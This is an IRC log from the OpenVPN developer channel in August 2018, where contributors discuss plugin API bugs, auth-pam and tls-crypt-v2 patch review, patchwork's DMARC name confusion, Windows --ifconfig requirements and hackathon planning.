<@plaisthos> close old fd, sleep for 2s, open new fd 10:30 <@plaisthos> and hope the 2s are enough time 10:30 <@plaisthos> and leak during those 2s 10:30 <@plaisthos> best effort solution basically 10:30 <@ordex> I see 10:30 <@ordex> :D 10:30 <@ordex> rocket science here ! 10:30 <@ordex> :P 10:30 <@plaisthos> :D 10:31 <@plaisthos> just search for Android 4.4 workaround ;) 10:31 <@plaisthos> in the source 10:34 < tincantech> ordex: old bean .. were you going to open a trac for the iOS route/log no error thing ? 10:34 <@ordex> tincantech: nope, I opened an internal ticket 10:34 <@ordex> you can open one in trac if you want, I'll update that when there will be progress 10:35 < tincantech> ok 10:37 <@ordex> I just don't like duplicating things because then i have to update all of them by myself :P 10:38 <@ordex> but if the bug is opened by somebody else (i.e. somebody that has seen an issue), I am hapy to refer it when opening the internal ticket 10:38 <@ordex> plaisthos: will you send a patch for that? :] 10:38 <@ordex> ah just read your update 10:39 <@ordex> ;) 10:45 < tincantech> ordex: https://community.openvpn.net/openvpn/ticket/1083#ticket 10:45 <@vpnHelper> Title: #1083 (iOS -- Log does not show route addition errors) – OpenVPN Community (at community.openvpn.net) 10:45 < tincantech> thanks again ;) 10:45 <@ordex> good! thanks 10:47 <@vpnHelper> RSS Update - tickets: #1083: iOS -- Log does not show route addition errors <https://community.openvpn.net/openvpn/ticket/1083> 14:57 <@cron2_> grumble 14:58 <@cron2_> I went out to see how I could integrate pam_linotp with Selva's plugin-auth-pam improvements... 14:58 <@cron2_> ... now I'm fully into "oh my god their code is so buggy, this *can not* have ever worked!" land... 14:59 <@cron2_> like, always passing "0" to a function that will, if it gets passed "0", always error-out and do nothing 16:08 < tincantech> ^ fun 16:09 < tincantech> so this sounds crazy .. if you use two --server config files and they both use the same subnet (eg 10.8/24) then openvpn jusy merrily chugs along even though it is not good :/ 16:10 < tincantech> is this a case of "we give them the rope .. if they hang themselves then we can't help" ? 16:31 < tincantech> while i don't disagree with the hang themself principle .. i can't help thinking that --server could be improved by at least testing if it has an IP conflict 16:33 < tincantech> if they don't use --server and setup manually then that is outside your control .. but --server always selects the first IP in the subnet so why not check that it can use that IP 16:33 < tincantech> just a thought .. 19:56 <@ordex> cron2_: :S 19:57 <@ordex> tincantech: this is allowe by linux, therefore openvpn allows it too. "it may be done on purpose" 21:02 <@ordex> *allowed --- Day changed Tue Aug 07 2018 03:18 <@cron2_> hrhr... $colleague is now digging through the LinOTP backend, hunting for yet another bug I uncovered yesterday... 03:19 <@cron2_> "I just wanted to test Selva's patch..." 03:50 <@ordex> :D 03:50 <@ordex> and pandora's box got opened 06:35 <@cron2_> I will refrain from getting too involved there... 06:49 < tincantech> cron2_: ^ is that my comment or something I missed while away ? 06:49 <@cron2_> tincantech: that comment was for ordex 06:49 < tincantech> ok .. :) 06:49 <@ordex> :P 07:50 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 07:53 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 07:53 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 10:36 -!- syzzer [~steffan@openvpn/community/developer/syzzer] has quit [Quit: leaving] 10:37 -!- syzzer [~steffan@openvpn/community/developer/syzzer] has joined #openvpn-devel 10:37 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 10:45 <@cron2_> argh 10:45 <@cron2_> if I see code like this... 10:45 <@cron2_> cleanpw_size = (length+1) * sizeof(char); 10:45 <@cron2_> or folks casting a variable that is defined as "char ** var" into a function call as function( (char **) var ) 10:46 <@cron2_> this HURTS 11:41 < kitsune1> at least its not written as sizeof('a') :) 13:17 <@cron2_> woops 13:17 <@cron2_> Aug 7 20:17:19 openvpn-tcp kernel: pid 49459 (openvpn), uid 0: exited on signal 11 (core dumped) 13:17 <@cron2_> not sure this is a good sign :) 13:27 < kitsune1> That's why users are told, 'don't use tcp' :) 13:47 <@cron2_> nah, this is "our plugin API has a few pitfalls" - if you use a very new plugin that wants to use the base64 functions with an openvpn binary that is too old, it will call into an undefined function pointer 13:47 <@cron2_> which sucks... (to be discussed on the list) 13:52 < kitsune1> was kidding -- so segfaults if plugin is incompatible -- recall looking into plugin code once -- there are some plugin version match checks in there, not updated when new functions added, may be? 13:52 <@cron2_> yes, the base64 functions where added without bumping the plugin rev 13:57 <@cron2_> were 14:03 <@vpnHelper> RSS Update - gitrepo: Parse static challenge response in auth-pam plugin <https://github.com/OpenVPN/openvpn/commit/7369d01bf360bcfa02f26c05b86dde5496d120f6> 15:18 -!- SCHAAP137 is now known as SCHAPiE 20:34 <@ordex> cron2_: I think selva agreed on that ;p 22:35 < kitsune1> Something is wrong with openvpn patchwork -- many patches show up with wrong submitter name. Like this list https://patchwork.openvpn.net/project/openvpn2/list/?submitter=39 22:35 <@vpnHelper> Title: OpenVPN 2 - Patchwork (at patchwork.openvpn.net) 23:36 <@ordex> kitsune1: wrong meaning that it says "via Openvpn-devel" ? --- Day changed Wed Aug 08 2018 01:36 <@cron2_> kitsune1: thank DMARC for that 01:37 <@cron2_> if the sender has DMARC, the mailing list rewrites the From: header to the list, and the name to "foo bar via openvpn-devel" 01:37 <@cron2_> and patchwork seems to remember mail address <-> name mappings, so when someone else sends with DMARC, patchwork lists "the first name" 01:55 <@ordex> cron2_: don't you think "In other words, OpenVPN (over UDP) is about as "reliable" or "unreliable" 01:55 <@ordex> as sending your UDP or TCP packets over non-VPN IP." is a bit simplicistic? 01:55 <@ordex> because OpenVPN itself can't cope very well with out-of-order packets for example 01:55 <@ordex> (I believe) 02:00 <@cron2_> ordex: the control channel will deal with it - it might take a bit longer to negotiate things, but since the amount of data is so small, it's not a big deal 02:00 <@cron2_> the data channel doesn't care, so what do you mean with "can't cope very well"? 02:00 <@cron2_> packet comes in, packet is delivered to tun interface, done 02:01 <@cron2_> nothing sensitive to ordering of packets 02:01 <@ordex> hmm what if packet A+1 arrives before packet A? won't A be rejected because of potential reply-attack ? 02:01 <@cron2_> there's a window of allowance 02:01 <@ordex> ah ok, that makes sense then 02:01 <@cron2_> James is very very smart :) 02:02 <@ordex> I might have overlooked that - it's been a while isnce i looked into it 02:02 <@ordex> hehe 02:02 <@cron2_> we need dazo's RFC 02:05 <@ordex> hehe 02:06 <@ordex> if will ever happen 02:06 <@ordex> I think it would maybe easier to just have wikipages describing the various smaller components....might be easier to come up with and to maintain 02:07 <@ordex> openvpn is a registered trademark, so I am not sure it will ever be allowed to be registered as "protocol" at ieft 02:08 <@cron2_> there's "IETF RFCs" and "personal submissions", and for the latter, anything goes 02:08 <@cron2_> you just need to disclose any intellectual property bits that the RFC touches, as in "this is a patented algorithm" or "this name is trademarked" 02:12 <@ordex> yep sure, it can stay as RFC 02:14 <@syzzer> whee, an ack :D 02:15 <@cron2_> people have opened up proprietary protocols before, like Cisco's EIGRP routing protocol - all of a sudden, RFC :-) 02:15 <@cron2_> syzzer: indeed, lots of work 02:17 <@ordex> I think it mostly depends on the goal. they probably wanted to push third parties to implement alternative solutions compatible with the protocol (to extend the ecosystem basically). which I think it's a good idea 02:30 <@vpnHelper> RSS Update - gitrepo: Bump version of openvpn plugin argument structs to 5 <https://github.com/OpenVPN/openvpn/commit/da0a42ca98623487726162b8710690cd3d003a63> 02:47 <@vpnHelper> RSS Update - gitrepo: Accept empty password and/or response in auth-pam plugin <https://github.com/OpenVPN/openvpn/commit/7a8109023f4c345fe12f23421c5fa7e88e1ea85b> 02:57 <@cron2_> so, moar ACKs, please 02:58 * cron2_ goes and does some paid-for work in between 02:58 <@ordex> :) 02:58 <@vpnHelper> RSS Update - gitrepo: Introduce buffer_write_file() <https://github.com/OpenVPN/openvpn/commit/a8fa167941c548f1cbc82e4bbe5316518df015d4> 03:00 <@syzzer> \o/ 03:00 <@syzzer> getting really close to the actual tls-crypt-v2 patches noq :D 03:00 <@syzzer> I'll spend some time today to hunt down the memleak in 6/7 03:01 <@ordex> hunt hunt ! 03:02 <@ordex> syzzer: you did not send v4 of 3/7 right? it's just a minor typ0 so no real need I think 03:02 <@cron2_> typos in comments are something I can handle 03:03 <@ordex> k 03:13 <@syzzer> ordex: right, I save up typos and only resend if there is something code-wise to fix or other reasons for sufficient changes 03:16 <@ordex> okyz 03:22 <@cron2_> so... if I could have a proper patch for NetBSD now... *grumble* 03:22 <@cron2_> (buildbot fails are rolling in) 03:23 <@ordex> yeah :/ well give the guy a couple more days.. 03:24 <@cron2_> this is really as easy as it gets... "positive feedback in time from the developers" 03:24 <@cron2_> "we want this, just fix this small detail, please" 03:24 <@ordex> yeah 03:25 <@ordex> I have the feeling this guy hadmore troubles sending the patch then writing it :P 03:25 <@cron2_> well, the patch for master was actually not correct :) 03:26 <@ordex> right 04:20 -!- cron2_ is now known as cron2 05:09 <@cron2> "we start not-printing a warning about it today" 05:09 <@cron2> that sounds like me :) 08:12 <@syzzer> cron2: so when are you going to deliver on your promise to not send 'proto' anymore? ;-) 08:15 <@cron2> uh... :) 08:24 <@syzzer> ordex: I plugged the leak btw :) 10:34 <@ordex> syzzer: cool! 10:42 < tincantech> syzzer: lol .. you were doing so well with all your \-\-tls\-crypt\-v2* and then forgot them all in the second half of openvpn.8 changes ;) 10:46 < tincantech> specifically: --tls-crypt-v2-verify 10:47 < kitsune1> cron2: not the "via openvpn-devel" but several patches shows up under one name while they are submitted by different people -- like these 6 patches under Jonathan Bullard: https://patchwork.openvpn.net/project/openvpn2/list/?submitter=39 10:47 <@vpnHelper> Title: OpenVPN 2 - Patchwork (at patchwork.openvpn.net) 10:48 < kitsune1> cron2: not the "via openvpn-devel" but several patches shows up under one name while they are submitted by different people -- like these 9 patches under Jonathan Bullard: https://patchwork.openvpn.net/project/openvpn2/list/?submitter=39 -- while only one of those is from him. 10:48 <@vpnHelper> Title: OpenVPN 2 - Patchwork (at patchwork.openvpn.net) 10:48 <@ordex> kitsune1: who sent the others? 10:49 <@ordex> ah yeah 10:49 <@ordex> I think it's still for the same reason mentioned by cron2 10:49 <@ordex> the last patch in that list was written by "Scott Shambarger via Openvpn-devel" 10:49 < kitsune1> VPN flyout is from Kevin (microsoft) etc.. May be tw are from Jonathan 10:49 < kitsune1> two 10:52 <@ordex> VPN flyotu was received as "Kevin Kane via Openvpn-devel" 10:52 <@ordex> so all the "via Openvpn-devel" get confused by pw 10:52 <@ordex> I think this is what cron2 was saying, no? 10:52 < kitsune1> Thatt's what I meant -- anyway I think I get it :) 10:52 <@ordex> not sure how to fix this 10:52 <@ordex> maybe it's a known issue with pw 10:52 < kitsune1> Yeah, didnt read the explanation carefully.. 10:57 <@syzzer> tincantech: oh, lol :') thos slashes are so hard te remember... 10:58 < tincantech> do you want me to send email again ? 11:02 < tincantech> i'll send mail with poiters 11:15 <@ordex> typ0!! 11:16 <@ordex> poiters -> pointers 11:25 <@syzzer> tincantech: yes, mail works best for me - my inbox basically is my todo list :) 11:25 -!- syzzer [~steffan@openvpn/community/developer/syzzer] has quit [Quit: leaving] 11:26 -!- syzzer [~steffan@openvpn/community/developer/syzzer] has joined #openvpn-devel 11:26 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 11:54 < tincantech> ordex: hoisted by my own petard ! 11:55 <@ordex> :D 16:34 < tincantech> swupdate.openvpn.net appears to be down .. 16:35 < tincantech> Connecting to swupdate.openvpn.net (swupdate.openvpn.net)|104.20.195.50|:443... failed: Connection timed out. 16:38 < tincantech> dazo: ecrist ordex ^ 16:39 < tincantech> https://swupdate.openvpn.net/repos/repo-public.gpg 16:40 < kitsune1> Connects for me but gives a page with just one word "no" 16:41 < tincantech> lol 16:42 < kitsune1> "yes" would have been more polite :) 16:43 < tincantech> it must be my end tho .. probably firewall 16:44 < tincantech> very odd .. it is not firewall 16:45 < kitsune1> Cant be firewall as it doesnt work for me either -- every page says "no".. 16:46 < tincantech> i think that page is meant to say "no" just like that" 16:46 < tincantech> i am trying to get the repo/gpg.key and can but from a different machine 16:47 < tincantech> it is my end :D .. testing a vpn left redirect-gateway in place .. oops 16:48 < kitsune1> aha, repo-public.gpg does work for me -- thought it didnt the first time I tried.. 16:48 < tincantech> ** Falsi alarm ** sorry .. 16:48 < tincantech> ^^^^^ 16:50 < kitsune1> Is that typo deliberate so that you can again quote the bard ;) 16:53 < tincantech> hehe ;) that's the problem with IRC .. once it's done 16:56 < tincantech> did you read "the bard" or was that a pun inspired by wikipedia ? ;) 16:57 < tincantech> i just looked it up 16:57 < kitsune1> I too went school :) 16:58 < kitsune1> No pun was intented, though. What does wiki say? 16:58 < kitsune1> looking up.. 16:58 < kitsune1> "falsi" is a word too -- in some languages 17:00 < tincantech> lol .. no not flasi, that was just a typo .. but i gathered from your "quip" ;) that you were alluding to my hoisted comment .. and I did read about it earlier but not that far down the page till just now 17:01 < kitsune1> You mean other meanings of petard? 17:01 < tincantech> i knew the line and it's basic meaning but until i read wiki today i did not know that a petard was basically a Bonb! 17:01 < tincantech> bomb ... :-) 17:02 < kitsune1> I knew it was somthing like a explosive but didnt know its meaning in old French which is funny.. 17:02 < tincantech> with the description it becomes so obvious how the prase was coined ;) 17:02 < tincantech> phraise 17:03 < kitsune1> You mean phrase :) 17:03 < tincantech> gah! 17:03 < tincantech> ty 17:03 < kitsune1> Not my fault .. 17:04 < tincantech> but you see what i mean .. think monty python 17:04 * cron2 hates computers 17:04 < tincantech> somebody comes up to "blow the bloody doors off!" (your castle) and they blow themselves up! 17:05 < tincantech> cron2: .. no way ;) 17:13 < tincantech> lol .. https://en.wikipedia.org/wiki/Hoist_with_his_own_petard#See_also 17:13 <@vpnHelper> Title: Hoist with his own petard - Wikipedia (at en.wikipedia.org) 17:21 < tincantech> kitsune1: i see what you mean about the "old french" :D 17:35 < kitsune1> :) 18:31 -!- floppym_ is now known as floppym 20:25 < tincantech> ecrist: i think "noname2000" is back .. 21:23 <@ordex> ay ay --- Day changed Thu Aug 09 2018 01:09 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:09 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:47 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 05:49 <@syzzer> dazo: I recall you had some interest in getting rid of pkcs11-helper too, right? Can I maybe trick you into reviewing this patch set: https://patchwork.openvpn.net/project/openvpn2/list/?series=57 ? ;-) 05:49 <@vpnHelper> Title: OpenVPN 2 - Patchwork (at patchwork.openvpn.net) 05:50 <@syzzer> that should be one of the first steps 05:55 <@syzzer> re hackathon - the swiss hotel looks a bit expensive to me. I'll probably book somethis a bit cheaper. 06:10 <@cron2> I'm in for something cheaper :) 06:18 <@syzzer> seems the weekends are considerably more expensive - weekdays at the Swiss are around EUR 100, but weekend days EUR 180. 07:00 <@ordex> waah 07:16 <@cron2> 180 EUR for Ukraine is a heap of money 07:16 <@cron2> (it's quite expensive here as well) 07:18 <@vpnHelper> RSS Update - gitrepo: Fix subnet topology on NetBSD. <https://github.com/OpenVPN/openvpn/commit/98e1d917fceb4c003fda0b43270325091768484f> 07:38 <@cron2> bah, DMARC stinks 07:43 <@vpnHelper> RSS Update - gitrepo: Clarify and expand management interface documentation <https://github.com/OpenVPN/openvpn/commit/a6fd48ba36ede465b0905a95568c3ec0d425ca71> 08:20 <@cron2> so, we're down to one consistant fail - and that's openbsd fighting cmocka 08:25 <@syzzer> nice :) 13:55 <@cron2> so, where are my ACKs...? 14:47 -!- kontaxis_ is now known as kontaxis 15:15 < Dark-Fx> SYN 15:24 <@cron2> RST 19:05 -!- dazo [~freenode@openvpn/corp/developer/dazo] has quit [Read error: Connection reset by peer] 19:08 -!- dazo [~freenode@openvpn/corp/developer/dazo] has joined #openvpn-devel 19:08 -!- mode/#openvpn-devel [+o dazo] by ChanServ 19:41 <@ordex> FIN 19:52 < tincantech> windows error 1459 19:53 < tincantech> 1450 --- Day changed Fri Aug 10 2018 01:48 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:48 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:19 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 07:00 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:00 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 20:45 < tincantech> ^^ BSOD ^^ 21:03 <@ordex> boom --- Day changed Sat Aug 11 2018 03:06 -!- syzzer [~steffan@openvpn/community/developer/syzzer] has quit [Quit: leaving] 03:25 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 03:25 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 04:08 <@ordex> ecrist: in another channel I saw a user connected as "ecrist1 [~ecrist1@14.48.253.46]" spamming about freenode 04:08 <@ordex> :D 06:15 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 07:46 < tincantech> https://www.tls13.net/ 08:01 <@ecrist> ordex: nice 08:01 <@ecrist> that was not me 08:07 < tincantech> ecrist: any progress on easyrsa ? ;) 19:28 < tincantech> ecrist: are you sleeping off a cobra fight ? --- Day changed Sun Aug 12 2018 06:20 <@vpnHelper> RSS Update - tickets: #1084: net_gateway is only working for IPv4 <https://community.openvpn.net/openvpn/ticket/1084> 06:44 <@cron2> syzzer: meh, sorry... 09:55 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 256 seconds] 09:56 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 09:56 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 23:37 <@ordex> arh need to do more reviews --- Day changed Mon Aug 13 2018 08:07 <@ecrist> tincantech: back now, was on vacation for the past ~week 08:07 <@ecrist> We should talk about https://forums.openvpn.net/viewtopic.php?f=6&t=26894 08:07 <@vpnHelper> Title: openVPN not in Windows10 due to bad TAP-Windows? - OpenVPN Support Forum (at forums.openvpn.net) 08:16 < tincantech> ecrist: shoot 08:17 <@ecrist> Here or PM? 08:17 < tincantech> either 10:22 < tincantech> it appears that 331:tun.c: msg(M_FATAL, "ERROR: --dev tun also requires --ifconfig"); is not being triggered ? 10:23 < tincantech> # openvpn --dev tun does not throw any error 10:24 < tincantech> this was what i was investigating when I realised : https://forums.openvpn.net/viewtopic.php?f=4&t=26904 10:24 <@vpnHelper> Title: OpenVPN filling server log - OpenVPN Support Forum (at forums.openvpn.net) 10:29 < tincantech> here is a paste : https://dpaste.de/AQUg 10:40 < tincantech> addition : https://dpaste.de/rcN5 11:04 < kitsune1> Only Windows tun needs --ifconfig (due to the way tap driver is initialized) and that too optional in latest sources if its a v6 only tunnel. 11:04 < kitsune1> tincantech: ^ 11:08 < tincantech> kitsune1: ok .. 11:09 < tincantech> that is not how i recall it working and this does show that openvpn is left in a bad state . 11:12 < tincantech> i realise this is logical choices .. IE: if --client then you probably do not want --ifconfig in the config 11:13 < tincantech> and of course there is the "we give them the rope" principle .. but i'm not sure if what is currently happening is the desired outcome 11:14 < kitsune1> ifconfig is normally pushed but you can also have a static address set on the device, in principle -- so, at least in principle, there are a few ways for the client to get its vpn address. 11:15 < tincantech> that is the point i was making above ;) 11:15 < kitsune1> okay :) 11:17 < tincantech> I don't have a preference but is the current behaviour actually what is intended .. that's my real question 11:18 < kitsune1> I think so.. 11:20 < tincantech> then why this? : 331:tun.c: msg(M_FATAL, "ERROR: --dev tun also requires --ifconfig"); 11:20 < tincantech> the behaviour has definitely changed 11:30 <@cron2> re, good morning 11:30 * cron2 was afk for a few days... all of a sudden a year older... this needed to be celebrated :-) 11:32 <@cron2> tincantech: it should be worded "--ifconfig or --ifconfig-ipv6" nowadays 11:32 <@cron2> either one works, none will fail on windows 11:33 < tincantech> cron2: happy birthday ? :) 11:35 < kitsune1> tincantech: that line from tun.c is for Windows isn't it? Windows require ifconfig (either in config or pushed) as the address is needed for setting up the tun/tap driver as tun. Due to some intricacies of the way TAP driver emulates tun on Windows. Not needed on other platforms. 11:40 < tincantech> kitsune1: as i recall, forgetting --ifconfig when using a static.key setup linux would also throw the error 11:41 < kitsune1> No it shouldn't -- you can set the ip as static on the tun and leave it out of the config. 11:44 < kitsune1> Just try openvpn --dev tun on linux -- should give no errors with 2.3 or 2.4 except some fat warnings that all encryption disabled etc. 11:49 < tincantech> i accept that it doesn't now but it certainly did in the past 11:51 < tincantech> at least i seem to remember that it did but i could be wrong 11:52 < kitsune1> Not in any versions I know of -- just checked 2.3 as well. 11:53 < kitsune1> Never used 2.2, so no idea.. 11:53 < tincantech> yeah i checked 2.3 as well .. i guess i am wrong 12:34 < tincantech> I would just like to confirm that if you setup your VPN in the manner described above that it is acceptable that openvpn does not assign IPs to the tunnel and there is no ERROR given that the vpn is not working 12:35 < tincantech> ie. the "we give them the rope .." principle 12:57 < kitsune1> How can openvpn guess that the user doesn't want to manually set an ip on the adapter at his own convenience... Granted lay user may benefit from a warning but lay user is supposed to get their config from some VPNMadeEasy Inc. 13:01 < tincantech> kitsune1: thanks :) so be it 13:05 <@cron2> tincantech: on *windows* it will fail. On Unix, having a device with no --ifconfig is fine 13:05 <@cron2> (because the config could come from an --up script, or whatever) 13:05 <@cron2> we only enforce this on windows because the tap driver needs to be told, otherwise it will not operate properly 14:00 < tincantech> cron2: i'm not sure i understand .. i have set this up on W10 and the TAP adapter get 169.254.x.x/16 if you don't specify any ifconfig (and no pull etc) .. when you say you enforce this on windnows do you mean thatr if nothing else get a 169.254 address by default ? 14:01 < tincantech> or something else ? 14:02 < tincantech> either way .. i accept as kitsune1 put it .. how can openvpn know in advance and so .. give them the rope ;) 14:12 <@cron2> tincantech: with master, you can do it. With 2.4, the tap adapter will have an IP address, but it will not *work*, because it needs to know the gateway address etc. which is only available if you have an --ifconfig in your config or pushed 14:12 <@cron2> (in tun mode, of course, nobody cares about tap mode) 14:12 <@cron2> just read the lengthy discussion on the mailing list regarding the ipv6-only patches and windows 14:13 <@cron2> Selva, ordex and I - why changes are needed, and where exactly 14:23 < tincantech> cron2: thanks .. that makes sense 14:33 < tincantech> i'll build master for windows and see what changes --- Day changed Tue Aug 14 2018 01:57 <@syzzer> cron2: my gpg complains about your mail: "gpg: WARNING: message was not integrity protected" 01:58 <@syzzer> I can decrypt and read in the terminal, but enigmail flatly refuses to show any content 01:58 <@ordex> same here 01:58 <@cron2> so does mutt, but I have no idea why 01:58 <@syzzer> and wlecome back of course :') 01:58 <@cron2> gpg: Signature made Tue Aug 14 08:49:55 2018 CEST using RSA key ID CA562812 01:58 <@cron2> gpg: Good signature from "Gert Doering <gert@v6.de>" 01:58 <@cron2> gpg: WARNING: message was not integrity protected 01:59 <@syzzer> probably using the wrong encryption type, one without authentication 01:59 <@cron2> and that's a new thing... 01:59 <@cron2> I do not think I have changed anything, but the last mails were fine 02:00 <@ordex> updated gpg? (would be aweful to break this way..but you never know) 02:00 <@syzzer> likely efail-related 02:00 <@syzzer> too many clients ignored such errors 02:01 <@cron2> indeed, but why yould mutt+gpg now *create* such errors when they never did before... *scratch head*... 02:03 <@syzzer> updated minimum strength? 02:04 <@cron2> syzzer: I think this might be related to the list of cc's, and which keys it grabbed (which carry "and this algorithm, please", as far as I understand) 02:04 <@cron2> sent a new mail only to security@ 02:05 <@cron2> what can you see? 02:05 <@syzzer> decrypts just fine 02:05 <@cron2> (I sent a few test to myself on a different account, and they all passed fine) 02:05 <@ordex> same here: fine 02:05 <@cron2> so it's either Selva's or Jon's key that downgrades this... funky stuff 02:08 <@cron2> but maybe mutt got confused over things - I restarted it in between tests... 02:16 <@cron2> shouldn't mattock be already back from vacation? 02:18 <@ordex> technically 02:25 <@cron2> so, meeting tomorrow 02:25 <@cron2> ? 02:26 <@syzzer> I won't be able to make it 02:27 <@ordex> I thin we should meet at least to understand what's hte status with windows/TAP (mattock should be here I hope) 02:27 <@ordex> and double check who needs help for what for pending patches 02:28 <@cron2> yep 02:29 <@cron2> any new ACKs on the tls-crypt-v2 stuff? 02:32 <@ordex> not yet, sorry 02:32 <@ordex> been trapped in other things 02:33 <@ordex> but I should be able to review more this week 02:38 <@syzzer> \o/ 03:36 <@ordex> syzzer: is the metadata expected to be checked by the external script only if type is USER ? 03:36 <@ordex> or is it expected to be checked in any case by the script? 03:37 <@ordex> I guess the latter? with the type being exported somehow for the script to check it ? 03:37 <@ordex> (iirc) 03:40 <@ordex> cron2: https://community.openvpn.net/openvpn/ticket/1084 << there was a question for you in my comment (not sure I was explicit enough) 03:40 <@vpnHelper> Title: #1084 (net_gateway is only working for IPv4) – OpenVPN Community (at community.openvpn.net) 04:34 <@syzzer> ordex: the script may check any type of metadata, yes 04:35 <@syzzer> but you're not required to provide a metadata check scripts 05:17 <@cron2> ordex: read my preceding comment again :-) 05:18 <@cron2> "because his setup is doing localhost, the existing mechanisms are not sufficient, thus, he wants net_gateway" 06:48 < tincantech> anybody here heard of "bitcoin loophole" yet .. the one on Dragon's Den .. 06:50 < tincantech> sorry .. i know is OT 07:07 < tincantech> due to my ad block regime .. i did not see it till today and then only by accident 07:15 < tincantech> it is obviously a scam 10:08 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:08 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 10:44 <@ordex> cron2: agreed. it felt to me like you were saying something different. this is why i did not understand 10:44 <@ordex> syzzer: ok, so the server will never check anything on its own - always delegate to a script, if configured 11:03 <@syzzer> ordex: correct :) 11:04 <@ordex> thanks :) 13:12 <@cron2> re 14:06 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 14:43 < tincantech> cron2: just curious, what do You mean by "re" ? 14:51 <@cron2> "I'm back" 14:51 <@cron2> it's a short form of "re-hi" 15:02 < tincantech> ahh ok ;) .. i looke it up and came to the wrong conclusion before : "Rolls Eyes" when things like bbot go wrong 17:24 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 17:24 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Wed Aug 15 2018 00:55 <@cron2> every time I think windows isn't *that* bad, it takes note, and takes revence 00:56 <@cron2> "I only installed a windows update" yesterday night... and then it bluescreened at boot, in a way that neither safe mode nor "last recovery point" could fix (whatever microsoft broke wrt recovery point there) 00:57 <@cron2> it's a (now-) broken VSS driver, which is hard to get rid of - if you just rename the binary, it will BSOD because "it cannot load a boot driver" 01:06 <@ordex> :D 01:07 <@cron2> nah... this ate four very valuable hours (= the whole evening) yesterday 01:07 <@cron2> and it's still broken 01:08 <@cron2> ... and that's the machine that does the updates for my car navigation, which I'd like to get done before leaving to vacation on friday... 01:14 <@ordex> pfff 01:14 <@ordex> well, honestly, if you want to know my experience with windows...I try to deal the least possible because everytime I think I'll get something done in 1h it takes 4, even without accidents like that 01:14 <@ordex> so..just find alternatives 01:15 <@ordex> for navigation I use osmand on android at the moment - 0 issues 01:15 <@cron2> nah, android is much more annoying than windows 01:55 <@ordex> syzzer: the "len" definition in the tls-crypt-v2 doc still puzzles me 02:00 <@ordex> you define it as: len = len(Kc || metadata)`` (16 bit, network byte order) 02:00 <@ordex> but then you say " reads the WKc length field from the end of the message" 02:01 <@ordex> but this is not the length of the whole WKc 02:01 <@ordex> because WKc is T || AES-256-CTR(Ke, IV, Kc || metadata) || len 02:01 <@ordex> was len supposed to be something like "len(T || AES-256-CTR(Ke, IV, Kc || metadata))" ? 02:02 <@ordex> not sure if this doubts are coming from the fact that "len" is not really used yet..but I understood you need len to be able to factor out the WKc from potential new payloads we will have 02:02 <@ordex> there fore I think len = len(T || AES-256-CTR(Ke, IV, Kc || metadata)) may make more sense? 02:35 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:35 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:07 <@cron2> have mattock or dazo resurfaced? 04:07 <@cron2> syzzer: have you decided on a Hotel for lviv? 04:18 -!- cron2 [gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 04:24 -!- cron2_ [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 04:24 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 04:24 -!- cron2_ is now known as cron2 04:30 <@cron2> so? 05:29 <@ordex> cron2: dazo is alive and should appear tomorrow i think 05:40 <@ordex> I am still waiting for dazo before choosing 05:40 <@ordex> well, just playing lazy here I guess 06:08 <@cron2> any word from mattock? 06:14 <@ordex> nope, haven't heard anything yet 07:31 < tincantech> ecrist: I soft deleted but can you review pls : https://forums.openvpn.net/viewtopic.php?f=1&t=26918 07:50 <@ecrist> good call 10:36 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 10:38 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:38 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 13:11 < kitsune1> ordex: I'm no Windows fan but let's be fair -- computers suck if you are not saavy, so often times its our own unfamiliarity that makes it a frustrating experience. Well, Windows bite you more often than others and updates are a nightmare. 13:12 <@ordex> maybe, i can't speak in general. but for sure on linux I almost always have a way to understand what is going on. on windows i just can't 13:12 <@ordex> just have to wait and pray :D 13:14 < kitsune1> But your Windows "expertise" is probably not comparable Linux experitse, right.. That was my point. 13:14 < kitsune1> For a lay user, probably both suck equally.. 13:17 <@ordex> :D 13:21 < kitsune1> I'm far more experienced with Linux than Windows, but "waste" far more time on Linux compared to Windows: if something doesn't work I try to hack on Linux, on Windows I just look for another program that works or return if its hardware etc.. But no complaints as its fun wasting time on Linux. Cant expect everyone to see it that way, though. 13:35 <@ordex> :D 13:35 <@ordex> yeah 13:35 <@cron2> one of the reasons I dislike the way Linux is evolving is "because it gets more similar to windows every day" 13:36 <@cron2> if a traditional unix has boot issues, you'll see a mass of text that tells you what is going on, what it tried to do, and where it gets stuck (and usually you can intervene) 